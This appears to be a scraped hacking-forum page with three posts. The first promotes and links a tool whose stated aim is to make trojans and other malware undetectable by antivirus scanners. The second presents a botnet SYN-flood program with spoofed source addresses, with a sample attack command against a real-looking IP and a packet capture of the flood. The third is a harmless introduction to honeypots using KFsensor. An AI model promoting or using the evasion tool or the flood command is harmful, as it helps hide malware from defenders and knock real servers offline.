1 Offset x Offset Undetector - A Virus/Malware/Spyware/Trojan Undetector Tool

The aim of this tool is to find viral signature for your legal programs
like other programs that do this job you have to scan produced file and find the smallest range
features:
start/end offset (hex/decimal) : Header/Sections+EOF/ALL/User values
Random and Not filling
Unknown size method (beta) : (sign begin/sign end/ud byte)
scan with a command line AV
show undetected range(s) (double click to select it)
PE header compare
Edit/move EP (move by (Di)asm or hex copy)
like any program this may contain bug(s), so don't blame me for any problem due to bugs, to this program, or to the way you use it

The main aim is to Undetect the Trojans/malware files. You need to have advanced knowledge about this else you may not able to use this tool

Main program fully written on ASM (MASM32), thanks to Oleh Yuschuck for OllyDisasm
Offset x Offset Undetector - A Virus/Malware/Spyware/Trojan Undetector Tool
Download Here
www.mediafire.com/?ib623249s19bt7b

0 A SYN Flood with Random Spoofed Source Address and Random Delay and U may specify how many forks

ev1syn2.c it's a a part of Int-Sec Botnet from my friend ev1lut10n

here is the source ev1syn2.c

sample usage:


# ./ev1syn2 77.78.103.36 80 80 2 2

[+] Delay Range Set to 2 second(s) and fork number set to 2 fork[s]


[+] New PID Set


[+] New PID Set


[+] New PID Set


[+] New PID Set

[+] Creating raw socket to attack 77.78.103.36 on port 80

[+] IP header set

[+] TCP header set

[+] Injected ip datagram

[+] Socket option set

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [83.85.162.151:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [121.249.252.241:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [233.19.20.82:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [31.142.81.45:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [167.39.87.8:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [130.82.208.212:80]

[+] SYN sent to [77.78.103.36:80] using spoofed ip: [74.153.27.117:80]



and the capture is correct now:


=========


No. Time Source Destination Protocol Info

18 10.831261 83.85.162.151 77.78.103.36 TCP http > http [SYN] Seq=0 Win=0 Len=0


Frame 18 (54 bytes on wire, 54 bytes captured)

Ethernet II, Src: Dell_56:0b:10 (00:1c:23:56:0b:10), Dst: c4:71:fe:76:f4:d9 (c4:71:fe:76:f4:d9)

Internet Protocol, Src: 83.85.162.151 (83.85.162.151), Dst: 77.78.103.36 (77.78.103.36)

Transmission Control Protocol, Src Port: http (80), Dst Port: http (80), Seq: 0, Len: 0

Source port: http (80)

Destination port: http (80)

[Stream index: 0]

Sequence number: 0 (relative sequence number)

Header length: 20 bytes

Flags: 0x02 (SYN)

Window size: 0

Checksum: 0x0000 [validation disabled]


No. Time Source Destination Protocol Info

19 11.831563 121.249.252.241 77.78.103.36 TCP http > http [SYN] Seq=0 Win=0 Len=0


Frame 19 (54 bytes on wire, 54 bytes captured)

Ethernet II, Src: Dell_56:0b:10 (00:1c:23:56:0b:10), Dst: c4:71:fe:76:f4:d9 (c4:71:fe:76:f4:d9)

Internet Protocol, Src: 121.249.252.241 (121.249.252.241), Dst: 77.78.103.36 (77.78.103.36)

Transmission Control Protocol, Src Port: http (80), Dst Port: http (80), Seq: 0, Len: 0

Source port: http (80)

Destination port: http (80)

[Stream index: 1]

Sequence number: 0 (relative sequence number)

Header length: 20 bytes

Flags: 0x02 (SYN)

Window size: 0

Checksum: 0x0000 [validation disabled]


No. Time Source Destination Protocol Info

20 11.831670 233.19.20.82 77.78.103.36 TCP http > http [SYN] Seq=0 Win=0 Len=0


Frame 20 (54 bytes on wire, 54 bytes captured)

Ethernet II, Src: Dell_56:0b:10 (00:1c:23:56:0b:10), Dst: c4:71:fe:76:f4:d9 (c4:71:fe:76:f4:d9)

Internet Protocol, Src: 233.19.20.82 (233.19.20.82), Dst: 77.78.103.36 (77.78.103.36)

Transmission Control Protocol, Src Port: http (80), Dst Port: http (80), Seq: 0, Len: 0

Source port: http (80)

Destination port: http (80)

[Stream index: 2]

Sequence number: 0 (relative sequence number)

Header length: 20 bytes

Flags: 0x02 (SYN)

Window size: 0

Checksum: 0x0000 [validation disabled]


No. Time Source Destination Protocol Info

21 11.831767 31.142.81.45 77.78.103.36 TCP http > http [SYN] Seq=0 Win=0 Len=0


Frame 21 (54 bytes on wire, 54 bytes captured)

Ethernet II, Src: Dell_56:0b:10 (00:1c:23:56:0b:10), Dst: c4:71:fe:76:f4:d9 (c4:71:fe:76:f4:d9)

Internet Protocol, Src: 31.142.81.45 (31.142.81.45), Dst: 77.78.103.36 (77.78.103.36)

Transmission Control Protocol, Src Port: http (80), Dst Port: http (80), Seq: 0, Len: 0

Source port: http (80)

Destination port: http (80)

[Stream index: 3]

Sequence number: 0 (relative sequence number)

Header length: 20 bytes

Flags: 0x02 (SYN)

Window size: 0

Checksum: 0x0000 [validation disabled]


No. Time Source Destination Protocol Info

22 11.859795 10.162.160.1 255.255.255.255 DHCP DHCP Offer - Transaction ID 0x5e8f01e6


Frame 22 (329 bytes on wire, 329 bytes captured)

Ethernet II, Src: c4:71:fe:76:f4:d9 (c4:71:fe:76:f4:d9), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

Internet Protocol, Src: 10.162.160.1 (10.162.160.1), Dst: 255.255.255.255 (255.255.255.255)

User Datagram Protocol, Src Port: bootps (67), Dst Port: bootpc (68)

Bootstrap Protocol


No. Time Source Destination Protocol Info

23 12.832008 167.39.87.8 77.78.103.36 TCP http > http [SYN] Seq=0 Win=0 Len=0


Frame 23 (54 bytes on wire, 54 bytes captured)

Ethernet II, Src: Dell_56:0b:10 (00:1c:23:56:0b:10), Dst: c4:71:fe:76:f4:d9 (c4:71:fe:76:f4:d9)

Internet Protocol, Src: 167.39.87.8 (167.39.87.8), Dst: 77.78.103.36 (77.78.103.36)

Transmission Control Protocol, Src Port: http (80), Dst Port: http (80), Seq: 0, Len: 0

Source port: http (80)

Destination port: http (80)

[Stream index: 4]

Sequence number: 0 (relative sequence number)

Header length: 20 bytes

Flags: 0x02 (SYN)

Window size: 0

Checksum: 0x0000 [validation disabled]


No. Time Source Destination Protocol Info

24 12.832110 130.82.208.212 77.78.103.36 TCP http > http [SYN] Seq=0 Win=0 Len=0


Frame 24 (54 bytes on wire, 54 bytes captured)

Ethernet II, Src: Dell_56:0b:10 (00:1c:23:56:0b:10), Dst: c4:71:fe:76:f4:d9 (c4:71:fe:76:f4:d9)

Internet Protocol, Src: 130.82.208.212 (130.82.208.212), Dst: 77.78.103.36 (77.78.103.36)

Transmission Control Protocol, Src Port: http (80), Dst Port: http (80), Seq: 0, Len: 0

Source port: http (80)

Destination port: http (80)

[Stream index: 5]

Sequence number: 0 (relative sequence number)

Header length: 20 bytes

Flags: 0x02 (SYN)

Window size: 0

Checksum: 0x0000 [validation disabled]

Thanks to ev1 for this good tool

0 HONEY POT: Hack Hackers

What is HoneyPot??
In layman terms we can say it is a trap set by the administrators for the hackers, to fool them or to make them believe that they are hacking into admins system, but instead of that hackers are getting hacked by the admin.

How does this work??
This works by presenting the hackers a foul scenario where , hacker thinks that he is penetrating into the system but instead, he is going no where except he is playing in the world created by the admins. By doing so, admins are able to check all the malicious activity of the hackers like what all ports hackers are trying to connect, what files they are trying to upload, which all sections they are trying to access.

HonyPot is mainly designed to trap the hackers, or present a virtual system to the hackers which never exists.

Technically, Honeypot tries to listen to all the ports on the system, and whenever hacker tries to port scan the system, it gets a list of open ports which he thinks is open but actually, it is the opened port which is shown by the honeypot behind the firewall, so when ever hacker tries to access some random port say 100, then he is accessing the honeypot not the system,

Above scenario can be visualised better: Install a VM ware on a system and run any low version of windows or linux on it with all ports open, and port forward those ports on the host system, so when ever hacker tries to fingerprint or try to do port scan, then he will be gettng info about the VM ware not the host system, hacker may be able to penetrate into the VM ware OS, but our HOST OS remains safe.

But there are mainly deficulty in doing the above job , so special application is created called HONEYPOT to do this job and many other jobs like tracking of packets, file access etc.

There are mainly 3 types of honeypots available:
1.Small: Mainly keeps the log of ip-address which are trying to access your system alongwith the port
2.Medium: Its functionality is little advanced, keeping track of files accessed, time-period, hosts etc.
3.Large: It provides all the functionality, but the main feature of these kind of Honeypots are security feature, these can simulate virtual os for the outsiders or hackers very well.

In this article I am going to give the example of HoneyPot of small scale for Windows.
HoneyPots are available both on commercial platform and also as open source, I am taking the example of KFsensor which is freely available here.
STEP 1: Download the KFSENSOR and winpcap from their website and install them
STEP 2: Restart your system, start winpcap server from the folder menu where it is saved mainly in c:\ drive
STEP 3: Start KFsensor, do as promted in the window , it is mainly for the configuring of your new HONEYPOT.
STEP4: Done, keep your system up for the packets scanning.

Here in above picture u can see some port numbers are striked out, because you need to restart the system, then start your honeypot, then internet connection, else these ports will be used by net connection first, then this honeypot willnot be able to access these ports, hence no information gathering will be possible.
================================================== ====================
We can also create our small honeypot whose main function is to check for the incoming packets.......
It is nothing but the basic client-server program which listens on all port.

Within minutes of intallation of this small honeypot i got the scanning alert sound, when checked these were the UDP packets mainly left over the internet for scanning of hosts........